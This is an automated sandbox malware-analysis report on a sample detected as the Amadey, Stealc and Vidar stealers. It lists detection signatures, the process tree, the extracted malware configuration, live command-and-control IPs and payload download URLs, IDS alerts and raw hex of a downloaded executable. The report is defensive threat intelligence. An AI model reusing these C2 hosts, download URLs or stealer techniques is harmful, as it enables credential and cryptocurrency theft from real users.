Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559627
MD5:	0c50a08dffa73cfbb9ee5ba4382bdefc
SHA1:	b21d45218d280416859c21b9c628315d6d71690f
SHA256:	ea7617b4a5571a89a06ef9bb195dc92a178ea4e0a6a514030eb288f54d26f0a3
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7404 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0C50A08DFFA73CFBB9EE5BA4382BDEFC)

chrome.exe (PID: 7732 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2192,i,12616498222566698575,857865143827692260,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 4048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3468 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2272,i,8644300524140361366,6652659034351590865,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8972 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEHIEBGHD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsBAEHIEBGHD.exe (PID: 5848 cmdline: "C:\Users\user\DocumentsBAEHIEBGHD.exe" MD5: 9026CA6BC267A2AC0E092E352CB39DFE)

skotes.exe (PID: 8144 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9026CA6BC267A2AC0E092E352CB39DFE)

msedge.exe (PID: 7748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 504 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8268 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6656 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8276 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8452 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8468 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 6360 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6036 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 7392 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9026CA6BC267A2AC0E092E352CB39DFE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000022.00000003.3273549857.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2802336835.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3416042291.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2702853473.0000000000621000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2780696137.0000000000D91000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2691553972.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2190819447.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2760707523.00000000048A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7404	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7404	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7404	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7404	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
29.2.DocumentsBAEHIEBGHD.exe.d90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.2.skotes.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
34.2.skotes.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7404, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7732, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:57:17.655395+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:57:17.527887+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:57:17.986942+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:57:19.610242+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:57:18.108326+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:57:17.061773+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:59:05.621338+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50091	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:57:04.436930+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50099	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:59:10.273168+0100	2803305	3	Unknown Traffic	192.168.2.6	50103	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T18:57:20.389490+0100	2803304	3	Unknown Traffic	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T18:57:43.390104+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:45.517148+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:46.920325+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:48.161666+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:52.016350+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:53.160714+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:59.036930+0100	2803304	3	Unknown Traffic	192.168.2.6	49929	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/random.exeem32	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe5E	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe3	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll;	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe1007721001J	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllh~~	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe1	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll)	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe50623	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11//Zu7JuNko/index.php	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exerlencodedX	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllf	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe3b31	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpyu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpIEBGHD.exeata;	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000022.00000003.3273549857.0000000005180000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C966C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.126.53.12:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.90:443 -> 192.168.2.6:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.82:443 -> 192.168.2.6:49987 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50091 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50099

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 17:57:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 